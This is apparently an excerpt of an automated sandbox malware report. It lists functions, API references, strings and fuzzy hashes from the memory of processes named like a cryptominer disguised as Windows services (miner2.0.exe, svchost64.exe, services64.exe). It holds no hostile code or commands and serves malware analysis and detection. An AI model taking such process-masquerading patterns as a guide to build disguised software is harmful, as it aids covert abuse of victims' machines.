Associated: 00000007.00000002.3019857600.000000000040F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019945694.0000000000414000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_loader_5879465914.jbxd

Similarity

API ID: fprintf
String ID: Total loss of significance (TLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4273532761
Opcode ID: 1c442322ed198adcc404c3aa091c0e682de8475096e9f5aee44da5c64ab50979
Instruction ID: 5803ad06fd81930719d27edf85a4b9c0fe972c5d70108334fd817cbbfb12dd4e
Opcode Fuzzy Hash: 1c442322ed198adcc404c3aa091c0e682de8475096e9f5aee44da5c64ab50979
Instruction Fuzzy Hash: BBF096A2504F4881D6029F1CA8003AB7370FF9D789F195316EF893A564DF38D5838704

Function 00403090 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00403029

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 0040300D
Partial loss of significance (PLOSS), xrefs: 00403090

Memory Dump Source

Source File: 00000007.00000002.3019588351.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3019515090.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019688876.0000000000406000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019761342.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019857600.000000000040F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019945694.0000000000414000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_loader_5879465914.jbxd

Similarity

API ID: fprintf
String ID: Partial loss of significance (PLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4283191376
Opcode ID: 60af07fa474c14e1c60bca0c9e59fd1e339dc12809b17dd44b960db232b2f32f
Instruction ID: 3a4b825eb4124d8cc6877290317bd0ab4500e149bc64abcafef6a390fcf4abdb
Opcode Fuzzy Hash: 60af07fa474c14e1c60bca0c9e59fd1e339dc12809b17dd44b960db232b2f32f
Instruction Fuzzy Hash: D3F09663404F4481D2029F1CA8003AB7370FF9D789F195316EF893A564DF38C5839704

Function 00402FE1 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00403029

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 0040300D
Argument domain error (DOMAIN), xrefs: 00402FE1

Memory Dump Source

Source File: 00000007.00000002.3019588351.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3019515090.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019688876.0000000000406000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019761342.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019857600.000000000040F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019945694.0000000000414000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_loader_5879465914.jbxd

Similarity

API ID: fprintf
String ID: Argument domain error (DOMAIN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2713391170
Opcode ID: 19f9509d62011d14b053ccca3954fb4e65a1af42faa987aac2694f1ce9213707
Instruction ID: bc1a01331a64b29a46880244e8cc94783991fe0971f42baf4b00ecd47296b570
Opcode Fuzzy Hash: 19f9509d62011d14b053ccca3954fb4e65a1af42faa987aac2694f1ce9213707
Instruction Fuzzy Hash: 26F09662404F4481D2019F18A80039B7370FF5D789F155316EF893A524DF38C5838704

Function 00403B10 Relevance: 5.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00403B37
free.MSVCRT ref: 00403B88
LeaveCriticalSection.KERNEL32 ref: 00403B94

Memory Dump Source

Source File: 00000007.00000002.3019588351.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3019515090.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019688876.0000000000406000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019761342.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019857600.000000000040F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019945694.0000000000414000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_loader_5879465914.jbxd

Similarity

API ID: CriticalSection$EnterLeavefree
String ID:
API String ID: 4020351045-0
Opcode ID: ceb08392f0f0196451ed73ec1588cb59bb9190dd5b54884ddebfc31a683c845f
Instruction ID: 49b5b9d9f717b9c60c7d99ed3eeeed97c410c8773a172d4d4432b2e755920db8
Opcode Fuzzy Hash: ceb08392f0f0196451ed73ec1588cb59bb9190dd5b54884ddebfc31a683c845f
Instruction Fuzzy Hash: 3A0192A1311704C2DA08EF15E89032537B4F794B89F544836CB0DA33A1DB3CDA91C34D

Analysis Process: miner2.0.exePID: 5868, Parent PID: 7096COMMON

Executed Functions

Function 00007FFD9BAC0570 Relevance: 1.9, Strings: 1, Instructions: 658COMMON

Download Yara Rule

Strings

3CM_^, xrefs: 00007FFD9BAC0957

Memory Dump Source

Source File: 00000055.00000002.2684088948.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_85_2_7ffd9bac0000_miner2.jbxd

Similarity

API ID:
String ID: 3CM_^
API String ID: 0-3911827768
Opcode ID: 273d9aad3edd6273a0d0221e28a8857e3cb09b4e723599564a4fcdde52afe6a2
Instruction ID: 80636fa65411ea63ec075ed1752ed2de58adbd437d17aebe17edeaff8b14a7f8
Opcode Fuzzy Hash: 273d9aad3edd6273a0d0221e28a8857e3cb09b4e723599564a4fcdde52afe6a2
Instruction Fuzzy Hash: 1A81A221B18D494FE7A4FB7C8469BB977D2EFA8314F0406B9E05DC72EBDD68A8418341

Function 00007FFD9BAC0BC5 Relevance: .3, Instructions: 259COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000055.00000002.2684088948.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_85_2_7ffd9bac0000_miner2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccab738c0db944975b6bf905172f6ec2fb658a0146dcc0879398422d89502182
Instruction ID: 13fe929c9560ba1d67c7d2b25ddb3f309c47e76a1828d628500686fa7a302c7b
Opcode Fuzzy Hash: ccab738c0db944975b6bf905172f6ec2fb658a0146dcc0879398422d89502182
Instruction Fuzzy Hash: 78713C20B1DA894FD765FB6C98656B97BE1EF9A314F0401BAF08DC3293DD586C42C346

Function 00007FFD9BAC0478 Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000055.00000002.2684088948.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_85_2_7ffd9bac0000_miner2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d48319ab43bf7688727df1438c0bf2f898ce7e269ca8a68df917d395a1711b8
Instruction ID: f6a8bab34af59d4083f9464afda4b6636462d71d44e6fe1fbd8dc849cef52f30
Opcode Fuzzy Hash: 1d48319ab43bf7688727df1438c0bf2f898ce7e269ca8a68df917d395a1711b8
Instruction Fuzzy Hash: 8A51D630B1DA494FEB58FB6C94656B877D1EF99714F05017AE04DC32A3DD64AC428346

Function 00007FFD9BAC0488 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000055.00000002.2684088948.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_85_2_7ffd9bac0000_miner2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cc76266e1e11fb06b9e739880d144e0bdf4a920dfef7990056ab6eef277c494
Instruction ID: 97c56dd2c4c623cb9eb6a488dac250fe491646c2b86028091be8aaa486ed01f8
Opcode Fuzzy Hash: 2cc76266e1e11fb06b9e739880d144e0bdf4a920dfef7990056ab6eef277c494
Instruction Fuzzy Hash: DF51D730B1DA094FEBA8FB6C94697BD77D1EF99714F05017AE04DC3292DE64AC428345

Function 00007FFD9BAC0E0A Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000055.00000002.2684088948.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_85_2_7ffd9bac0000_miner2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1001d2c60be98d25b574984f001a96c03a1109d665d4afd9b908603d778e4c69
Instruction ID: 532a846705b903d0977d45e3b36904522b6952d91ec4c116ed523567616ea058
Opcode Fuzzy Hash: 1001d2c60be98d25b574984f001a96c03a1109d665d4afd9b908603d778e4c69
Instruction Fuzzy Hash: 05F0E57351D74C1EE758A559AC179F63B98EB83270F00105FE19EC6153E1526913C256

Analysis Process: svchost64.exePID: 5992, Parent PID: 2756COMMON

Executed Functions

Function 00007FFD9BAC0ECD Relevance: 1.6, Instructions: 1602COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000006B.00000002.2708984076.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_107_2_7ffd9bac0000_svchost64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aaee7ed06daccbd9b364a9618b5c3ec003dc6358c9baba43cf8edb6313356e6a
Instruction ID: 7836dfc56866fb7dec924b09efd2536034403bf58dc6424f0875d55c1dac01f1
Opcode Fuzzy Hash: aaee7ed06daccbd9b364a9618b5c3ec003dc6358c9baba43cf8edb6313356e6a
Instruction Fuzzy Hash: 9F92A330B1991D8FEBA4FB688465B79B3E2FF98304F5541B9D00EC32E6DE68AD418741

Function 00007FFD9BAC2A6D Relevance: .3, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000006B.00000002.2708984076.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_107_2_7ffd9bac0000_svchost64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1dd3b5169c21fa30b1626c5efd78199b69a7b602660d78af6fdeb936482613b
Instruction ID: 370f8d32083e556cc6e084ebaf57629ecfef1b2353d7f3265d80abed6a5330bd
Opcode Fuzzy Hash: e1dd3b5169c21fa30b1626c5efd78199b69a7b602660d78af6fdeb936482613b
Instruction Fuzzy Hash: 7D315922B0EB8A4FE361AB7C88316B93BE0EF16354B0501FAD09ACB1E7CD5868058351

Function 00007FFD9BAC0830 Relevance: .2, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000006B.00000002.2708984076.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_107_2_7ffd9bac0000_svchost64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52224eeed6b2e6b3a501bc291a5560dbdf63f8754090a519c0e1a4f3e74f16a9
Instruction ID: 0334346edd36a5cfc94a01975cb32698e378e5923a0f89f1974c5b2ee5180a5f
Opcode Fuzzy Hash: 52224eeed6b2e6b3a501bc291a5560dbdf63f8754090a519c0e1a4f3e74f16a9
Instruction Fuzzy Hash: 0A817031F19A5D4FDB94EBA8C8A4AAC7BF1FF59300F4501B6D009D72A6DE28A8418B41

Function 00007FFD9BAC0850 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000006B.00000002.2708984076.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_107_2_7ffd9bac0000_svchost64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a542643766d236e73e93b9f6d5fd51771b5d7b9f7f336dc4141a8ac11fe3ff7
Instruction ID: 1ccd51b44fa0d3f8b4aabb77510192ac31e6bbffb3ddbd0ccbf8deb1058463e3
Opcode Fuzzy Hash: 0a542643766d236e73e93b9f6d5fd51771b5d7b9f7f336dc4141a8ac11fe3ff7
Instruction Fuzzy Hash: EB616235F0995D8FDB64FBA8C8A4ABC77B1FF58300F4101B6D009D72A6DE24A941CB41

Function 00007FFD9BAC0AB0 Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000006B.00000002.2708984076.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_107_2_7ffd9bac0000_svchost64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34853649384dbba900f3a52e66b2ae9a9b585a84cacfab1b5a2afe05f9ee00d0
Instruction ID: e7a4ce241463fcdcf407a719413ae962e8d2c71c2edc5a08bb3f6916a90e42d8
Opcode Fuzzy Hash: 34853649384dbba900f3a52e66b2ae9a9b585a84cacfab1b5a2afe05f9ee00d0
Instruction Fuzzy Hash: 8151C330B2CA494FEB58EB2C8469A7977D1FF9C708F040679E08EC3396DE64AC428745

Function 00007FFD9BAC085C Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000006B.00000002.2708984076.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_107_2_7ffd9bac0000_svchost64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31704ed5328d33d5adf6962fbc8eacbb2192172357a5f7d0b295968511059de3
Instruction ID: 3ab2029322f27aaac67a947edca07269e957a2ae2d421684168811374f233f39
Opcode Fuzzy Hash: 31704ed5328d33d5adf6962fbc8eacbb2192172357a5f7d0b295968511059de3
Instruction Fuzzy Hash: EA514F31F1995D8FDB54FBA8C8A4AACB7B1FF58300F4001B5D009D7296DE78A845CB41

Function 00007FFD9BAC0860 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000006B.00000002.2708984076.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_107_2_7ffd9bac0000_svchost64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb1560df28c6f45d4b452155a9155509c165207abb09d9207c305f64f5db244e
Instruction ID: b0f614eb93ad2774ab70b1cd5d13bdfc64daa86188558c02c9c3aa341bc97978
Opcode Fuzzy Hash: cb1560df28c6f45d4b452155a9155509c165207abb09d9207c305f64f5db244e
Instruction Fuzzy Hash: D0513030F1995D8FDB54FBA8C8A4AADB7B1FF58304F4005B5E009D729ADE78A845CB41

Function 00007FFD9BAC0A91 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000006B.00000002.2708984076.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_107_2_7ffd9bac0000_svchost64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 878e0d15efe70f2427f4d01277dd67458e72a6836b81b31eb80fce8f88bca352
Instruction ID: 64031c520c7aef6bf5ff38d8baf7bb205d23be246b8e1cd2e3edcf187a4c77cd
Opcode Fuzzy Hash: 878e0d15efe70f2427f4d01277dd67458e72a6836b81b31eb80fce8f88bca352
Instruction Fuzzy Hash: 2241D321B1DA494FEB68EB6C8469BB977D1EF98704F040279F08DC32D7DDA8AC428745

Function 00007FFD9BAC0870 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000006B.00000002.2708984076.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_107_2_7ffd9bac0000_svchost64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2887aba253f61efabb7528e4c4fc23beac3da36fdbcf3f850817f8db4c965c11
Instruction ID: 56596d1a7e4db32c612eb44d7c5f2446fc85fe100c6f539af39e942a23e266c0
Opcode Fuzzy Hash: 2887aba253f61efabb7528e4c4fc23beac3da36fdbcf3f850817f8db4c965c11
Instruction Fuzzy Hash: DA512E30E1995D8FDB54FBA8C8A4AADB7B1FF58304F4005B5E009D729ADE74A941CB41

Function 00007FFD9BAC0CF9 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000006B.00000002.2708984076.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_107_2_7ffd9bac0000_svchost64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cfb4be5f4a35f5690e27671bb299b1e8829d9664ea6669bf88463902898750d
Instruction ID: 308ed54047cac5a436a68a052d7b6cd078fe663052eef2163fc01043b2896457
Opcode Fuzzy Hash: 2cfb4be5f4a35f5690e27671bb299b1e8829d9664ea6669bf88463902898750d
Instruction Fuzzy Hash: 51F055B260D70C1EE758A609AC079F63798EB83230F00100EE19EC2143E01228138292

Function 00007FFD9BAC0A50 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000006B.00000002.2708984076.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_107_2_7ffd9bac0000_svchost64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b34e6950548300683ce4e18b3264b80ffc8d20b178456510e012c1908f12165
Instruction ID: 0c5ac9c65bb331a33d1f9a7a7adb6d0777837bbcf96cbd2e4f19dfe1150f778b
Opcode Fuzzy Hash: 8b34e6950548300683ce4e18b3264b80ffc8d20b178456510e012c1908f12165
Instruction Fuzzy Hash: 82E08021F18C1D0F9AA4FB3D5865E6563D2EFDC32074546F6E40CC329ADD28DC414381

Non-executed Functions

Function 00007FFD9BAC06D1 Relevance: 8.8, Strings: 7, Instructions: 86COMMON

Download Yara Rule

Strings

M_^#, xrefs: 00007FFD9BAC0722
M_^=, xrefs: 00007FFD9BAC078A
M_^3, xrefs: 00007FFD9BAC0762
M_^9, xrefs: 00007FFD9BAC077A
M_^7, xrefs: 00007FFD9BAC0772
M_^5, xrefs: 00007FFD9BAC076A
M_^%, xrefs: 00007FFD9BAC072A

Memory Dump Source

Source File: 0000006B.00000002.2708984076.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_107_2_7ffd9bac0000_svchost64.jbxd

Similarity

API ID:
String ID: M_^#$M_^%$M_^3$M_^5$M_^7$M_^9$M_^=
API String ID: 0-4104247842
Opcode ID: e5df2f1a0c94c2a5700bd2ec53dc98dc43668e58568cc1cc3a7b51a85b683ab9
Instruction ID: f943ed48b8587d870d3249667bc72643fc3be34ae975d2e2a84b3a5905bf9faa
Opcode Fuzzy Hash: e5df2f1a0c94c2a5700bd2ec53dc98dc43668e58568cc1cc3a7b51a85b683ab9
Instruction Fuzzy Hash: D32107776040298AD316BA6CBCA55DC3354EE9033E75507B3D4A9CE093ED25A08BC9C4

Function 00007FFD9BAC06F0 Relevance: 8.8, Strings: 7, Instructions: 9COMMON

Download Yara Rule

Strings

M_^#, xrefs: 00007FFD9BAC0722
M_^=, xrefs: 00007FFD9BAC078A
M_^3, xrefs: 00007FFD9BAC0762
M_^9, xrefs: 00007FFD9BAC077A
M_^7, xrefs: 00007FFD9BAC0772
M_^5, xrefs: 00007FFD9BAC076A
M_^%, xrefs: 00007FFD9BAC072A

Memory Dump Source

Source File: 0000006B.00000002.2708984076.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_107_2_7ffd9bac0000_svchost64.jbxd

Similarity

API ID:
String ID: M_^#$M_^%$M_^3$M_^5$M_^7$M_^9$M_^=
API String ID: 0-4104247842
Opcode ID: a6b0545bb5e748944968631a0bfd2d6ce81ce9f096ebc217463a6d09893af3e6
Instruction ID: a90f509e53ab9ddc71dcf2d3176be1cbdc3aa4ca6c9cfb1f6b7c849cf730c3f0
Opcode Fuzzy Hash: a6b0545bb5e748944968631a0bfd2d6ce81ce9f096ebc217463a6d09893af3e6
Instruction Fuzzy Hash: 98C09B0190D29104D35572BC3C215D41B004F1653F70CC7F7F4DD0C0D74C042049C14D

Analysis Process: services64.exePID: 6264, Parent PID: 1044COMMON

Executed Functions

Function 00007FFD9BAD0570 Relevance: 1.9, Strings: 1, Instructions: 658COMMON

Download Yara Rule

Strings

3CL_^, xrefs: 00007FFD9BAD0957

Memory Dump Source

Source File: 00000072.00000002.2835357709.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_114_2_7ffd9bad0000_services64.jbxd

Similarity

API ID:
String ID: 3CL_^
API String ID: 0-3907758863
Opcode ID: 3402e8dd738321724acd605a9a3561a3f744a7bd3f042df60696dd445eb77d60
Instruction ID: eb913c4327095959294c1e44d55e0cb6fd3ec7129d2486105729fd81635c7670
Opcode Fuzzy Hash: 3402e8dd738321724acd605a9a3561a3f744a7bd3f042df60696dd445eb77d60
Instruction Fuzzy Hash: D381B121B18D494FE7A4FB7C8879BA977D2EF99314F0406B9E01DC72EBDD68A8418341

Function 00007FFD9BAD0BC5 Relevance: .3, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000072.00000002.2835357709.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_114_2_7ffd9bad0000_services64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e18c10c158f7297c30c1f3d1203892f47a88e6cf4d3e6691629e13399db0dae
Instruction ID: e635819ef31556c94385705d9a09dcd1a6a7f4eaa99f8f7f75eb6a0a7d9c2151
Opcode Fuzzy Hash: 1e18c10c158f7297c30c1f3d1203892f47a88e6cf4d3e6691629e13399db0dae
Instruction Fuzzy Hash: 45712A20B1DA894FDB65EB6C98756B97BE1EFDA314F0401BAE08DC32A3DD585C42C346

Function 00007FFD9BAD0478 Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000072.00000002.2835357709.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_114_2_7ffd9bad0000_services64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67e585d44da8378e9375b5c7df26702735bdc638f9b2b89451625505f1607b3e
Instruction ID: 25e55a16a58fcb20676128225c3d397038e60c32c41ae445fde16e36155887cb
Opcode Fuzzy Hash: 67e585d44da8378e9375b5c7df26702735bdc638f9b2b89451625505f1607b3e
Instruction Fuzzy Hash: 0A510830B1DA494FEB58EB6C98697BC77D1EF9D314F44027AE04DC32A2DD64AC428786

Function 00007FFD9BAD0488 Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000072.00000002.2835357709.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_114_2_7ffd9bad0000_services64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f3c3ecf833f107fd320545649c5be650ec84069228072bf476b315a448d155e
Instruction ID: 26f22a08db0a60604e50060b25d3c3ea406cc080e1aea6ea28264500278ba8f6
Opcode Fuzzy Hash: 6f3c3ecf833f107fd320545649c5be650ec84069228072bf476b315a448d155e
Instruction Fuzzy Hash: 7851D831B1C9094FEB98EB6C94697BD77D1EF99710F40027AE04DC32A6DE64AC428786

Function 00007FFD9BAD0E0A Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000072.00000002.2835357709.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_114_2_7ffd9bad0000_services64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 140f4e28bf58017f7897243453404a3403bd1744ce8f81e7cc41e5591c0b8063
Instruction ID: 439f5a7a8f0a32d1250ed3cc558cd6f55a65d13adcbcf965b002e19100b80b29
Opcode Fuzzy Hash: 140f4e28bf58017f7897243453404a3403bd1744ce8f81e7cc41e5591c0b8063
Instruction Fuzzy Hash: DAF0207250D64C2EE7189559AC279F63B98EA83260B00000EE08A82142E1522913C292

Analysis Process: services64.exePID: 6976, Parent PID: 5992COMMON

Executed Functions

Function 00007FFD9BAA0570 Relevance: 1.9, Strings: 1, Instructions: 658COMMON

Download Yara Rule

Strings

3CO_^, xrefs: 00007FFD9BAA0957

Memory Dump Source

Source File: 0000007A.00000002.2772440795.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_122_2_7ffd9baa0000_services64.jbxd

Similarity

API ID:
String ID: 3CO_^
API String ID: 0-3937211734
Opcode ID: 732a88fdf7f92e45f4cda35bcea1d406ae44aaf8ab752da100727ca92e76dac9
Instruction ID: 98fb786b2ae6e2024df1b5f24e10fc3b31633ed870a053d315c7747352d58d06
Opcode Fuzzy Hash: 732a88fdf7f92e45f4cda35bcea1d406ae44aaf8ab752da100727ca92e76dac9
Instruction Fuzzy Hash: C791C121B189494FE7A4FB7C8469BB977D2EF98314F0406BAE05DC72E7DD28AC418351

Function 00007FFD9BAA0BC5 Relevance: .3, Instructions: 259COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000007A.00000002.2772440795.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_122_2_7ffd9baa0000_services64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c7eb9dce99f76f91e0acf438e519c8798c2a8c3ccf901dfb54f863e957640cc
Instruction ID: ceb0e686b3994351208e0b173b1411bf1d66c296f974fbcc040ab08d3522e9d0
Opcode Fuzzy Hash: 2c7eb9dce99f76f91e0acf438e519c8798c2a8c3ccf901dfb54f863e957640cc
Instruction Fuzzy Hash: B1716B20B1DA894FD765EB6C98656B97BE2EF9A314F0401BAF08DC32D3DD586C02C356

Function 00007FFD9BAA0478 Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000007A.00000002.2772440795.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_122_2_7ffd9baa0000_services64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8580d3d0aa7b5e2979d34cef7a62edfcdcfaa45bacac81bb504ffc645552d250
Instruction ID: 5615cbfb4851e1c1f4ffb910a02668b13280fb9215f685d361d8fb13e26c7f8f
Opcode Fuzzy Hash: 8580d3d0aa7b5e2979d34cef7a62edfcdcfaa45bacac81bb504ffc645552d250
Instruction Fuzzy Hash: 3E51F830B1DA494FEB58EB6C98657BC77D2EF99314F04017AE04DC3292DD686C428396

Function 00007FFD9BAA0488 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000007A.00000002.2772440795.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_122_2_7ffd9baa0000_services64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b02eaa11fc06bd0365a2d1c9a659dea737b6408fa975ac8260e0e0545fa9cf9
Instruction ID: 7d230627126cb713586b2d01ac849aaca85bfa5403cc5aa7c26f9cd29443b270
Opcode Fuzzy Hash: 7b02eaa11fc06bd0365a2d1c9a659dea737b6408fa975ac8260e0e0545fa9cf9
Instruction Fuzzy Hash: 0B51D631B1CA094FEBA8EB6C94697BD77D2EF98714F04017AE04DC3292DE64AC428795

